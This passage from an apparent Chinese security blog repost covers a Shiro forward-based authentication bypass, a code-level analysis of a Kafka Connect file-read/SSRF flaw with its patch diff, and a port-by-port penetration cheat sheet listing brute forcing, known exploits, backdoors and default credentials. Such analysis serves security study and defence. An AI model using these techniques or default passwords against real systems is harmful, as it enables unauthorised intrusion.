GET /filterOncePerRequest/any HTTP/1.1
Host: 172.31.1.101:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

经过判断,被判定为Filter ‘{}’ not yet executed. Executing now,表明该请求并没有进入过滤器。

image

如代码所示,发送GET /filterOncePerRequest/any请求后,会使用内部forward命令,再次发起GET /permit/any请求。

image

这时发现对于forward请求拦截器根本不会拦截,由此可见漏洞原因确实如前文所述:在该请求处理第一次后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行,直接绕过了filter拦截器。

原因分析

因为代码逻辑存在漏洞,1.10.0之前的版本在请求forward时不进行拦截鉴权,导致在代码里存在对请求进行forward处理时,对应请求会绕过鉴权的问题。

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

本文转自 hahaha123 并作补充

一、漏洞成因

该漏洞源于Apache Kafka Client在配置SASL/OAUTHBEARER连接时,对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数,利用该缺陷实现任意文件读取或发起SSRF请求(访问非预期目标地址)。

二、影响版本

3.1.0 <= Apache Kafka <= 3.9.0

三、漏洞复现

image

image

四、漏洞分析

根据漏洞触发点所对应的路由 connectors,可定位至以下相关代码:

image

147-152行代码对传入的信息处理,以及创建示例等,漏洞入口是:

1
herder.putConnectorConfig(name, configs, createRequest.initialTargetState(), false, cb);

继续跟进putConnectorConfig方法,
这里会跟到两个类:StandaloneHerderDistributedHerder,之前说的修复点也确实是这里,基本可以确定这是入口点,我们看DistributedHerder

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public void putConnectorConfig(final String connName, final Map config, final TargetState targetState,
final boolean allowReplace, final Callback&gt; callback) {
log.trace("Submitting connector config write request {}", connName);
addRequest(
() -&gt; {
doPutConnectorConfig(connName, config, targetState, allowReplace, callback);
return null;
},
forwardErrorAndTickThreadStages(callback)
);
}

继续跟进doPutConnectorConfig方法,这里的config,就是先前connector路由传的json数据

image

然后跟进validateConnectorConfig方法

image

image

进入validateConnectorConfig方法,到现在,逻辑检验都是普通的,所以就不多赘述了,继续跟进

image

调用了:

1
2
3
protected Connector getConnector(String connType) {
return tempConnectors.computeIfAbsent(connType, k -&gt; plugins().newConnector(k));
}

利用 plugins().newConnector() 动态加载类,例如:MirrorSourceConnector

image

这里可以看到根据json数据的config[‘‘]=*.MirrorSourceConnector调用MirrorSourceConnector这个Connector用于后续的执行

后续跟进的话可以看到通过反射调用Connector:

1
Class&lt;?&gt; klass = loader.loadClass(classOrAlias, false);

回到AbstractHerder类,继续分析接下来的逻辑

image

接下来就是确定connectorType为sink or source,然后对数据进行处理等,可以自己看

image

java config = connector.validate(connectorProps);
跟进:

1
2
3
4
5
6
7
8
@Override
public org.apache.kafka.common.config.Config validate(Map props) {
List configValues = super.validate(props).configValues();
validateExactlyOnceConfigs(props, configValues);
validateEmitOffsetSyncConfigs(props, configValues);

return new org.apache.kafka.common.config.Config(configValues);
}

接下来进入到validate验证阶段,这里就很绕了,我们知道是MirrorSourceConnector这个Connector创建了Tasks,所以他肯定要进到这个方法

image

可以看到过了validate初始验证,进入到start方法,继续跟进,由于漏洞触发点是认证相关,我们断点在认证的各个方法,一个一个看

image

这里进入到认证阶段forwardingAdmin

image

实例化ForwardingAdmin实现类

image

通过json数据中的值:

1
2
3
"****": "SASL_PLAINTEXT",
"****": "OAUTHBEARER",
"****": "****.OAuthBearerLoginCallbackHandler",

来调用相关认证方法,然后调用create方法(漏洞触发点)

image

通过

1
URL tokenEndpointUrl = cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL);

获取json中的sasl.oauthbearer.token.endpoint.url,继续跟进

image

这里可以看到java accessTokenRetriever.retrieve();返回了文件信息,我们向上追踪

image

发现需要传参,全局搜new FileTokenRetriever(

image

发现就在Create方法内,尴尬……

好,利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[1] 用户提交 Connector 配置请求(HTTP API)
|
|--&gt; REST API: Connect REST `/connectors` 接口处理 connector 配置
|
[2] WorkerConfig / ConnectorConfig 解析配置(Map)
|
[3] validateConnectorConfig(...) 进行 connector 配置验证
|
[4] connector.config() -&gt; 返回 ConfigDef
|
|--&gt; connector.validate(...)(触发 MirrorSourceConnector.validate())
|
|--&gt; validateExactlyOnceConfigs(...)
|--&gt; validateEmitOffsetSyncConfigs(...)
|
[5] connector.start(props)
|
|--&gt; new MirrorSourceConfig(props)
|
|--&gt; super(props) --&gt; AbstractConfig 初始化
|
|--&gt; createAdmin(...)(构造 ForwardingAdmin)
|
|--&gt; forwardingAdmin(config)
|
|--&gt; get(FORWARDING_ADMIN_CLASS)
|--&gt; Utils.newParameterizedInstance(...)
|
|--&gt; KafkaMirrorMakerClientBasedAdmin.create(...)
|
|--&gt; OAuthBearerLoginModule / SaslClientAuthenticator 初始化
|
|--&gt; AccessTokenRetriever.create(...)
|
|--&gt; cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL)
|
|--&gt; protocol == "file" ?
--&gt; new FileTokenRetriever(Path)
|
|--&gt; init()
|
|--&gt; Utils.readFileAsString(path)
|
|--&gt; Files.readAllBytes(...)

查看文件结果看这个路由:

image

获取statusBackingStore中对应Connector的tasks,结果就在tasks[‘trace’]里,可以自己看看这个的逻辑,这里就不多说了

环境搭建

下载3.9.0源码包
gradle构建一下,然后运行命令:

1
2
3
./bin/zookeeper-server-start.sh config/zookeeper.properties
./bin/kafka-server-start.sh config/server.properties
./bin/connect-distributed.sh config/connect-distributed.properties

这里的connect-distributed.sh如果需要用idea调试的话,最好在里面加上debug,用idea的jvm连接

五、修复方式

Standalone模式:修改connect-standalone.properties中的listeners或rest.host.name字段Distributed模式:修改connect-distributed.properties中的listeners或rest.host.name字段使用流量防护设备(如WAF、防火墙)拦截/connectors接口请求中携带敏感文件路径的恶意流量

END

DIFF一下,一眼就能发现3.9.1对uri进行了校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
// AccessTokenRetrieverFactory.java
public static AccessTokenRetriever create(Map<String, ?> configs, Map<String, Object> metadata) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

// VerificationKeyResolverFactory.java
public static VerificationKeyResolver create(Map<String, ?> configs) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_JWKS_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

漏洞点就是这个。好啦,结束。高中生,菜勿喷。

常见高危端口

常见高危端口

本文转自 blacksunny 并作补充

端口 服务 渗透测试
tcp 20,21 FTP(文件传输协议) 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4)
tcp 22 SSH (安全外壳协议 ) 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输等等
tcp 23 Telnet ( 远程终端协议) 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令
tcp 25 SMTP(简单邮件传输协议) 邮件伪造,vrfy/expn查询邮件用户信息,可使用smtp-user-enum工具来自动跑
tcp/udp 53 DNS(域名系统) 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控
tcp/udp 69 TFTP (简单文件传送协议 ) 尝试下载目标及其的各类重要配置文件
tcp 80-89,443,8440-8450,8080-8089 各种常用的Web服务端口 可尝试经典的topn,vpn,owa,webmail,目标oa,各类Java控制台,各类服务器Web管理面板,各类Web中间件漏洞利用,各类Web框架漏洞利用等等……
tcp 110 POP3(邮局协议版本3 ) 可尝试爆破,嗅探
tcp 111,2049 NFS(网络文件系统) 权限配置不当
tcp 137,139,445 SMB(NETBIOS协议) 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……
tcp 143 IMAP(邮件访问协议) 可尝试爆破
udp 161 SNMP(简单网络管理协议) 爆破默认团队字符串,搜集目标内网信息
tcp 389 LDAP( 轻量目录访问协议 ) ldap注入,允许匿名访问,弱口令
tcp 512,513,514 Linux rexec (远程登录) 可爆破,rlogin登陆
tcp 873 Rsync (数据镜像备份工具) 匿名访问,文件上传
tcp 1194 OpenVPN(虚拟专用通道) 想办法钓VPN账号,进内网
tcp 1352 Lotus(Lotus软件) 弱口令,信息泄漏,爆破
tcp 1433 SQL Server(数据库管理系统) 注入,提权,sa弱口令,爆破
tcp 1521 Oracle(甲骨文数据库) tns爆破,注入,弹shell…
tcp 1500 ISPmanager( 主机控制面板) 弱口令
tcp 1723 PPTP(点对点隧道协议 ) 爆破,想办法钓VPN账号,进内网
tcp 2082,2083 cPanel (虚拟机控制系统 ) 弱口令
tcp 2181 ZooKeeper(分布式系统的可靠协调系统 ) 未授权访问
tcp 2601,2604 Zebra (zebra路由) 默认密码zerbra
tcp 3128 Squid (代理缓存服务器) 弱口令
tcp 3312,3311 kangle(web服务器) 弱口令
tcp 3306 MySQL(数据库) 注入,提权,爆破
tcp 3389 Windows rdp(桌面协议) shift后门[需要03以下的系统],爆破,ms12-020
tcp 3690 SVN(开放源代码的版本控制系统) svn泄露,未授权访问
tcp 4848 GlassFish(应用服务器) 弱口令
tcp 5000 Sybase/DB2(数据库) 爆破,注入
tcp 5432 PostgreSQL(数据库) 爆破,注入,弱口令
tcp 5900,5901,5902 VNC(虚拟网络控制台,远控) 弱口令爆破
tcp 5984 CouchDB(数据库) 未授权导致的任意指令执行
tcp 6379 Redis(数据库) 可尝试未授权访问,弱口令爆破
tcp 7001,7002 WebLogic(WEB应用系统) Java反序列化,弱口令
tcp 7778 Kloxo(虚拟主机管理系统) 主机面板登录
tcp 8000 Ajenti(Linux服务器管理面板) 弱口令
tcp 8443 Plesk(虚拟主机管理面板) 弱口令
tcp 8069 Zabbix (系统网络监视) 远程执行,SQL注入
tcp 8080-8089 Jenkins,JBoss (应用服务器) 反序列化,控制台弱口令
tcp 9080-9081,9090 WebSphere(应用服务器) Java反序列化/弱口令
tcp 9200,9300 ElasticSearch (Lucene的搜索服务器) 远程执行
tcp 11211 Memcached(缓存系统) 未授权访问
tcp 27017,27018 MongoDB(数据库) 爆破,未授权访问
TCP 50000tcp 50070,50030 SAP Managenment ConsoleHadoop(分布式文件系统) 远程执行默认端口未授权访问

22端口渗透剖析

SSH 是协议,通常使用 OpenSSH 软件实现协议应用。SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其它网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

1
2
3
4
(1)弱口令,可使用工具hydra,msf中的ssh爆破模块。
(2)防火墙SSH后门。(https://www.secpulse.com/archives/69093.html)
(3)28退格 OpenSSL
(4)openssh 用户枚举 CVE-2018-15473。(https://www.anquanke.com/post/id/157607)

23端口渗透剖析

telnet是一种旧的远程管理方式,使用telnet工具登录系统过程中,网络上传输的用户和密码都是以明文方式传送的,黑客可使用嗅探技术截获到此类密码。

1
2
(1)暴力破解技术是常用的技术,使用hydra,或者msf中telnet模块对其进行破解。
(2)在linux系统中一般采用SSH进行远程访问,传输的敏感数据都是经过加密的。而对于windows下的telnet来说是脆弱的,因为默认没有经过任何加密就在网络中进行传输。使用cain等嗅探工具可轻松截获远程登录密码。

25/465端口渗透剖析

smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件

1
2
3
默认端口:25(smtp)、465(smtps)
(1)爆破:弱口令
(2)未授权访问

53端口渗透剖析

53端口是DNS域名服务器的通信端口,通常用于域名解析。也是网络中非常关键的服务器之一。这类服务器容易受到攻击。对于此端口的渗透,一般有三种方式。

1
2
3
(1)使用DNS远程溢出漏洞直接对其主机进行溢出攻击,成功后可直接获得系统权限。(https://www.seebug.org/vuldb/ssvid-96718)
(2)使用DNS欺骗攻击,可对DNS域名服务器进行欺骗,如果黑客再配合网页木马进行挂马攻击,无疑是一种杀伤力很强的攻击,黑客可不费吹灰之力就控制内网的大部分主机。这也是内网渗透惯用的技法之一。(https://baijiahao.baidu.com/s?id=1577362432987749706&wfr=spider&for=pc)
(3)拒绝服务攻击,利用拒绝服务攻击可快速的导致目标服务器运行缓慢,甚至网络瘫痪。如果使用拒绝服务攻击其DNS服务器。将导致用该服务器进行域名解析的用户无法正常上网。(http://www.edu.cn/xxh/fei/zxz/201503/t20150305_1235269.shtml)(4)DNS劫持。(https://blog.csdn.net/qq_32447301/article/details/77542474)

80端口渗透剖析

80端口通常提供web服务。目前黑客对80端口的攻击典型是采用SQL注入的攻击方法,脚本渗透技术也是一项综合性极高的web渗透技术,同时脚本渗透技术对80端口也构成严重的威胁。

1
2
3
4
5
6
7
(1)对于windows2000的IIS5.0版本,黑客使用远程溢出直接对远程主机进行溢出攻击,成功后直接获得系统权限。
(2)对于windows2000中IIS5.0版本,黑客也尝试利用‘Microsoft IISCGI’文件名错误解码漏洞攻击。使用X-SCAN可直接探测到IIS漏洞。
(3)IIS写权限漏洞是由于IIS配置不当造成的安全问题,攻击者可向存在此类漏洞的服务器上传恶意代码,比如上传脚本木马扩大控制权限。
(4)普通的http封包是没有经过加密就在网络中传输的,这样就可通过嗅探类工具截取到敏感的数据。如使用Cain工具完成此类渗透。
(5)80端口的攻击,更多的是采用脚本渗透技术,利用web应用程序的漏洞进行渗透是目前很流行的攻击方式。
(6)对于渗透只开放80端口的服务器来说,难度很大。利用端口复用工具可解决此类技术难题。
(7)CC攻击效果不及DDOS效果明显,但是对于攻击一些小型web站点还是比较有用的。CC攻击可使目标站点运行缓慢,页面无法打开,有时还会爆出web程序的绝对路径。

135端口渗透剖析

135端口主要用于使用RPC协议并提供DCOM服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。同时这个端口也爆出过不少漏洞,最严重的就是缓冲区溢出漏洞,曾经疯狂一时的‘冲击波’病毒就是利用这个漏洞进行传播的。对于135端口的渗透,黑客的渗透方法为:

1
2
(1)查找存在RPC溢出的主机,进行远程溢出攻击,直接获得系统权限。如用‘DSScan’扫描存在此漏洞的主机。对存在漏洞的主机可使用‘ms05011.exe’进行溢出,溢出成功后获得系统权限。(https://wenku.baidu.com/view/68b3340c79563c1ec5da710a.html)
(2)扫描存在弱口令的135主机,利用RPC远程过程调用开启telnet服务并登录telnet执行系统命令。系统弱口令的扫描一般使用hydra。对于telnet服务的开启可使用工具kali链接。(https://wenku.baidu.com/view/c8b96ae2700abb68a982fbdf.html)

139/445端口渗透剖析

139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。下面剖析渗透此类端口的基本思路。

1
2
3
4
(1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https://blog.csdn.net/qq_41880069/article/details/82908131)
(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https://blog.csdn.net/god_7z1/article/details/6773652)
(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https://blog.warhut.cn/dmbj/145.html)
(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。

1433端口渗透剖析

1433是SQLServer默认的端口,SQL Server服务使用两个端口:tcp-1433、UDP-1434.其中1433用于供SQLServer对外提供服务,1434用于向请求者返回SQLServer使用了哪些TCP/IP端口。1433端口通常遭到黑客的攻击,而且攻击的方式层出不穷。最严重的莫过于远程溢出漏洞了,如由于SQL注射攻击的兴起,各类数据库时刻面临着安全威胁。利用SQL注射技术对数据库进行渗透是目前比较流行的攻击方式,此类技术属于脚本渗透技术。

1
2
3
4
(1)对于开放1433端口的SQL Server2000的数据库服务器,黑客尝试使用远程溢出漏洞对主机进行溢出测试,成功后直接获得系统权限。(https://blog.csdn.net/gxj022/article/details/4593015)
(2)暴力破解技术是一项经典的技术。一般破解的对象都是SA用户。通过字典破解的方式很快破解出SA的密码。(https://blog.csdn.net/kali_linux/article/details/50499576)
(3)嗅探技术同样能嗅探到SQL Server的登录密码。
(4)由于脚本程序编写的不严密,例如,程序员对参数过滤不严等,这都会造成严重的注射漏洞。通过SQL注射可间接性的对数据库服务器进行渗透,通过调用一些存储过程执行系统命令。可以使用SQL综合利用工具完成。

1521端口渗透剖析

1521是大型数据库Oracle的默认监听端口,估计新手还对此端口比较陌生,平时大家接触的比较多的是Access,MSSQL以及MYSQL这三种数据库。一般大型站点才会部署这种比较昂贵的数据库系统。对于渗透这种比较复杂的数据库系统,黑客的思路如下:

1
2
3
(1)Oracle拥有非常多的默认用户名和密码,为了获得数据库系统的访问权限,破解数据库系统用户以及密码是黑客必须攻破的一道安全防线。
(2)SQL注射同样对Oracle十分有效,通过注射可获得数据库的敏感信息,包括管理员密码等。
(3)在注入点直接创建java,执行系统命令。(4)https://www.leiphone.com/news/201711/JjzXFp46zEPMvJod.html

2049端口渗透剖析

NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。

1
未授权访问。(https://www.freebuf.com/articles/network/159468.html) (http://www.secist.com/archives/6192.htm)

3306端口渗透剖析

3306是MYSQL数据库默认的监听端口,通常部署在中型web系统中。在国内LAMP的配置是非常流行的,对于php+mysql构架的攻击也是属于比较热门的话题。mysql数据库允许用户使用自定义函数功能,这使得黑客可编写恶意的自定义函数对服务器进行渗透,最后取得服务器最高权限。对于3306端口的渗透,黑客的方法如下:

1
2
3
(1)由于管理者安全意识淡薄,通常管理密码设置过于简单,甚至为空口令。使用破解软件很容易破解此类密码,利用破解的密码登录远程mysql数据库,上传构造的恶意UDF自定义函数代码进行注册,通过调用注册的恶意函数执行系统命令。或者向web目录导出恶意的脚本程序,以控制整个web系统。
(2)功能强大的‘cain’同样支持对3306端口的嗅探,同时嗅探也是渗透思路的一种。
(3)SQL注入同样对mysql数据库威胁巨大,不仅可以获取数据库的敏感信息,还可使用load_file()函数读取系统的敏感配置文件或者从web数据库链接文件中获得root口令等,导出恶意代码到指定路径等。

3389端口渗透剖析

3389是windows远程桌面服务默认监听的端口,管理员通过远程桌面对服务器进行维护,这给管理工作带来的极大的方便。通常此端口也是黑客们较为感兴趣的端口之一,利用它可对远程服务器进行控制,而且不需要另外安装额外的软件,实现方法比较简单。当然这也是系统合法的服务,通常是不会被杀毒软件所查杀的。使用‘输入法漏洞’进行渗透。

1
2
3
4
(1)对于windows2000的旧系统版本,使用‘输入法漏洞’进行渗透。
(2)cain是一款超级的渗透工具,同样支持对3389端口的嗅探。
(3)Shift粘滞键后门:5次shift后门
(4)社会工程学通常是最可怕的攻击技术,如果管理者的一切习惯和规律被黑客摸透的话,那么他管理的网络系统会因为他的弱点被渗透。(5)爆破3389端口。这里还是推荐使用hydra爆破工具。(6)ms12_020死亡蓝屏攻击。(https://www.cnblogs.com/R-Hacker/p/9178066.html)(7)https://www.cnblogs.com/backlion/p/9429738.html

4899端口渗透剖析

4899端口是remoteadministrator远程控制软件默认监听的端口,也就是平时常说的radmini影子。radmini目前支持TCP/IP协议,应用十分广泛,在很多服务器上都会看到该款软件的影子。对于此软件的渗透,思路如下:

1
2
(1)radmini同样存在不少弱口令的主机,通过专用扫描器可探测到此类存在漏洞的主机。
(2)radmini远控的连接密码和端口都是写入到注册表系统中的,通过使用webshell注册表读取功能可读取radmini在注册表的各项键值内容,从而破解加密的密码散列。

5432端口渗透剖析

PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术 大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。

1
2
(1)爆破:弱口令:postgres postgres
(2)缓冲区溢出:CVE-2014-2669。(http://drops.xmd5.com/static/drops/tips-6449.html)(3)远程代码执行:CVE-2018-1058。(https://www.secpulse.com/archives/69153.html)

5631端口渗透剖析

5631端口是著名远程控制软件pcanywhere的默认监听端口,同时也是世界领先的远程控制软件。利用此软件,用户可以有效管理计算机并快速解决技术支持问题。由于软件的设计缺陷,使得黑客可随意下载保存连接密码的*.cif文件,通过专用破解软件进行破解。这些操作都必须在拥有一定权限下才可完成,至少通过脚本渗透获得一个webshell。通常这些操作在黑客界被称为pcanywhere提权技术。

1
PcAnyWhere提权。(https://blog.csdn.net/Fly_hps/article/details/80377199)

5900端口渗透剖析

5900端口是优秀远程控制软件VNC的默认监听端口,此软件由著名的AT&T的欧洲研究实验室开发的。VNC是在基于unix和linux操作系统的免费的开放源码软件,远程控制能力强大,高效实用,其性能可以和windows和MAC中的任何一款控制软件媲美。对于该端口的渗透,思路如下:

1
2
3
(1)VNC软件存在密码验证绕过漏洞,此高危漏洞可以使得恶意攻击者不需要密码就可以登录到一个远程系统。
(2)cain同样支持对VNC的嗅探,同时支持端口修改。
(3)VNC的配置信息同样被写入注册表系统中,其中包括连接的密码和端口。利用webshell的注册表读取功能进行读取加密算法,然后破解。(4)VNC拒绝服务攻击(CVE-2015-5239)。(http://blogs.360.cn/post/vnc%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9Ecve-2015-5239%E5%88%86%E6%9E%90.html)(5)VNC权限提升(CVE-2013-6886)。

6379端口渗透剖析

Redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。

1
2
(1)爆破:弱口令
(2)未授权访问+配合ssh key提权。(http://www.alloyteam.com/2017/07/12910/)

7001/7002端口渗透剖析

7001/7002通常是weblogic中间件端口

1
2
3
4
5
(1)弱口令、爆破,弱密码一般为weblogic/Oracle@123 or weblogic
(2)管理后台部署 war 后门
(3)SSRF
(4)反序列化漏洞
(5)weblogic_uachttps://github.com/vulhub/vulhub/tree/master/weblogic/ssrfhttps://bbs.pediy.com/thread-224954.htmhttps://fuping.site/2017/06/05/Weblogic-Vulnerability-Verification/https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html

8080端口渗透剖析

8080端口通常是apache_Tomcat服务器默认监听端口,apache是世界使用排名第一的web服务器。国内很多大型系统都是使用apache服务器,对于这种大型服务器的渗透,主要有以下方法:

1
2
3
4
5
6
(1)Tomcat远程代码执行漏洞(https://www.freebuf.com/column/159200.html)
(2)Tomcat任意文件上传。(http://liehu.tass.com.cn/archives/836)
(3)Tomcat远程代码执行&信息泄露。(https://paper.seebug.org/399/)
(4)Jboss远程代码执行。(http://mobile.www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html)
(5)Jboss反序列化漏洞。(https://www.zybuluo.com/websec007/note/838374)
(6)Jboss漏洞利用。(https://blog.csdn.net/u011215939/article/details/79141624)

27017端口渗透剖析

MongoDB,NoSQL数据库;攻击方法与其他数据库类似

1
2
(1)爆破:弱口令
(2)未授权访问;(http://www.cnblogs.com/LittleHann/p/6252421.html)(3)http://www.tiejiang